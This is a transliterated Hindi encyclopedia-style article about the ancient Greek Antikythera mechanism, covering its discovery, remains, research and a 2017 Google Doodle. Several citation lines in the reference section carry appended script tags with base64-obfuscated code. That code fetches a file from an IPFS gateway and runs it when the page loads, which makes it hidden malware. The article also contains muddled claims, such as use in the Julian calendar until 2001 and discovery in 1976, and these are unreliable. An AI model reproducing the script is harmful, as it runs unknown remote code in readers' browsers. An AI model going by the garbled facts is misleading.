एंटीकाइथेरा यंत्र

	eantikaithera yantr
	eantikaithera ka avashesh\|200px\|center
vivaran	'eantikaithera yantr' ko duniya ka pahala kanpyootar kaha jata hai. yah na sirph prachin yoonaniyoan ke lie soory, chandrama aur grahoan ki chal jnat karane mean madad karata tha, balki yah bhavishy batane vali divais ke taur par bhi istemal kiya jata tha.
avishkarak desh	yoonan
akar	yah yantr dekhane mean gol akar ka hai, jo svarn rang ka hai.
nirman dhatu	adhikaanshat: taanba
vishesh	eantikaithera yantr ki sanrachana behad jatil thi, jinhean 25 se 30 kaanse ke giyaroan se banaya jata tha.
any janakari	is yantr ka bahari gol ghera varsh ke 365 dinoan ka dyotak hai. isake madhy vala ghera varsh ko vibhajit karane vali ikaee, mahina athava aur kuchh ho sakati hai.
bahari k diyaan	17:55, 17 mee 2017 (IST)

eantikaithera yantr (aangrezi: Antikythera Mechanism) ve prachin kampyootar (sanganak) hua karate the, jinaka prayog nakshatr aur khagoliy vijnan mean vibhinn tathyoan ki sahi v satik janakari prapt karane athava unaki bhavishyavani karane mean kiya jata tha. ye akar mean divar gh di ke saman the. eantikaithera yantr ko kashth ke bane ek chhote bakse mean band kar rakha jata tha. eantikaithera yantr ki sanrachana behad jatil thi, jinhean 25 se 30 kaanse ke giyaroan se banaya jata tha. is upakaran ke vartaman mean avashesh prapt hue haian, jinhean kee chhote-chhote tuk doan mean vibhajit kar rakha gaya hai. yoonani itihas ke kee puratattv abhilekhoan mean isaki janakari milati hai, jinamean ise sadhe paanch ianch akar ka bataya jata hai.

avishkar

eantikaithera yantr ki pranali ka upayog juliyan kaileandar mean kee sadiyoan poorv kiya jana arambh hua, jo varsh 2001 tak chalata raha. isavi san ke arambh ke samay hi is yukti ka upayog arambh hua tha, jinaka avishkar yoonan ke prachin vaijnanikoan dvara kiya gaya tha.^[1]

1902 mean 17 mee ko yoonani puratattvavetta veleriy aaus stes eantikaithera mean doobe ek jahaz se mili chijoan ki p datal kar rahe the ki unhean dhatu ka bana purana divais mila. yooan to is jahaz ki khoj do sal pahale ho gee thi, lekin is divais par kisi ka dhyan nahian gaya tha. kaanse ke bane is divais ka akar kisi chakke jaisa tha. stes ki khoj ke bad pata chala ki yah eantikaithera pranali ka hissa tha. eantikaithera yantr ka prayog naksha banane aur disha nirdeshan ke lie bhi kiya jata tha. isamean age bane ek dayal ka istemal rashi aur saur kaileandaroan ko jo dane ke lie hota tha, jabaki pichhe bane dayal dvara grahoan ki chal ki ganana karate the. bad mean jab eantikaithera pranali ka kanpyootar 3di m aaudal banaya gaya to pata chala ki isamean 30 se adhik unnat giyar the. kamal ki bat hai ki yah poora yantr ek joote ke dabbe se b da nahian tha. jahir hai yah apane samay se kafi age ki takanik thi. kaha jata hai ki isamean 18vian sadi ke gh diyoan ke jaisa unnat yantr tha. pahale mana jata tha ki eantikaithera yantr 85 eesa poorv ke asapas ka tha, lekin nee khoj ke anusar yah usase bhi purana hai. philahal is pranali se ju de purje etheans ke sangrahalay mean haian.^[2]

avashesh

eantikaithera yantr ke sabhi avashesh aj ke puratattv vibhag ke pas upalabdh nahi haian. sanbhavat: isake vikas ke kuchh varsh bad hi ye nasht ho gaya athava isaki takanik ne jamane ke vaijnaniko ke samajh se bahar thi. yah yantr jal sena ke kuchh adhikariyoan dvara ek 150 phit b di jahaz ke malabe se prapt kiya gaya tha. yah ghatana 1900 ke as-pas ki hai. ab etheans sangrahalay mean isake avasheshoan ke sath isaki kee moortiyaan aur pratilipiyaan bhi vidyaman haian.

adhunik yug ka pratham kampyootar

eantikaithera yantr ko adhunik yug ka pahala jnat enalog kanpyootar hone ka shrey prapt hai. us samay takanik ka itana prachalan na hona isaki sanrachana aur jatilata ko dekhakar pata lagaya ja sakata hai. is kanpyootar ko yoonani vaijnanikoan dvara khagoliy aur ganitiy ak doan ka sahi anuman lagane ke lie vikasit kiya gaya tha. jab is tantr ka 1976 mean pata laga, tab yah nishkarsh nikale gaye ki isaki samayavadhi doosari sadi ke poorv ki hai. yah yantr adhikatar taanbe ke banaye ge, sanbhavat: yahi dhatu us samay prachalan mean thi.^[1]

shodh aur adhyayan

thumb|left|250px|eantikaithera yantr ke avashesh, neshanal arkiyol aaujikal sangrahalay, etheans eantikaithera par hal hi ke varshoan mean unake vastavik sthan aur kary pranali par kee mahatvapoorn shodh aur adhyayan hue, jo isaki pramanikata aur upayogita ko siddh karate haian. varsh 2008 mean maikal edamand ne is bat ka pata lagane ki koshish ki ki eantikaithera sahi tarike se kam karata hai ya nahian. unhoanne apane shodh par ek kitab likhi aur usamean kaha ki- eantikaithera pranali ka kary poornat paraphekt tha, jo monalisa ki khagol aur ganit se bhi uchch darje ka tha. varsh 2008 mean hue ek shodh se isaki vastavik sthiti ke bare mean pata lagane ki koshish ki gee, jinake anusar yah yantr northavest gris ka bana hai. eantikaithera par varsh 2014 mean karamen aur ivas ke kiye gaye shodh ke anusar is kanpyootar ki tarikh chandrama tithi se arambh ki gee thi. unhoanne yah bhi tark diya ki yah sanganak bebiloniya ki aankaganit aur grik ki trikonamiti ki tulana mean behatar avishkar tha.

sanrachana

thumb|250px|eantikaithera yantr (googal doodal) yah yantr dekhane mean gol akar ka hai, jo svarn rang ka bana hai. lekin isako banane mean adhikatar taanbe ka prayog kiya gaya tha. isaka bahari gol ghera varsh ke 365 dinoan ka dyotak hai. isake madhy vala ghera varsh ko vibhajit karane vali ikaee, mahina athava aur kuchh ho sakati hai. grik sanketoan mean bana yah tantr juliyan kaileandar ka mukhy adhar bana.

googal doodal

17 mee, 1902 ko ek durghatanagrast jahaz ke malabe ko samudr mean khojate samay eantikaithera yantr ke avashesh prapt hue the. yah yantr divar gh di ya ek phit ke chakkar ke jaisa taanbe se nirmit yantr tha.^[1] googal ne 17 mee, 2017 ko eantikaithera yantr ki khoj ke 115 varsh poore hone par jashn samaroh ke lie ise googal doodal ka avaran banaya. is yantr dvara prachin samay mean grah, nakshatr aur samay ki ganana ki jati thi.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 What Is The Antikythera Mechanism In Hindi (hiandi) tipsonline.in. abhigaman tithi: 17 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ googal doodal ne manaya khoj ka jashn, lekin kya hai eantikaithera maikenijm (hiandi) hindi.firstpost.com. abhigaman tithi: 17 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 ^1.2 ^1.3 What Is The Antikythera Mechanism In Hindi (hiandi) tipsonline.in. abhigaman tithi: 17 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] ↑ googal doodal ne manaya khoj ka jashn, lekin kya hai eantikaithera maikenijm (hiandi) hindi.firstpost.com. abhigaman tithi: 17 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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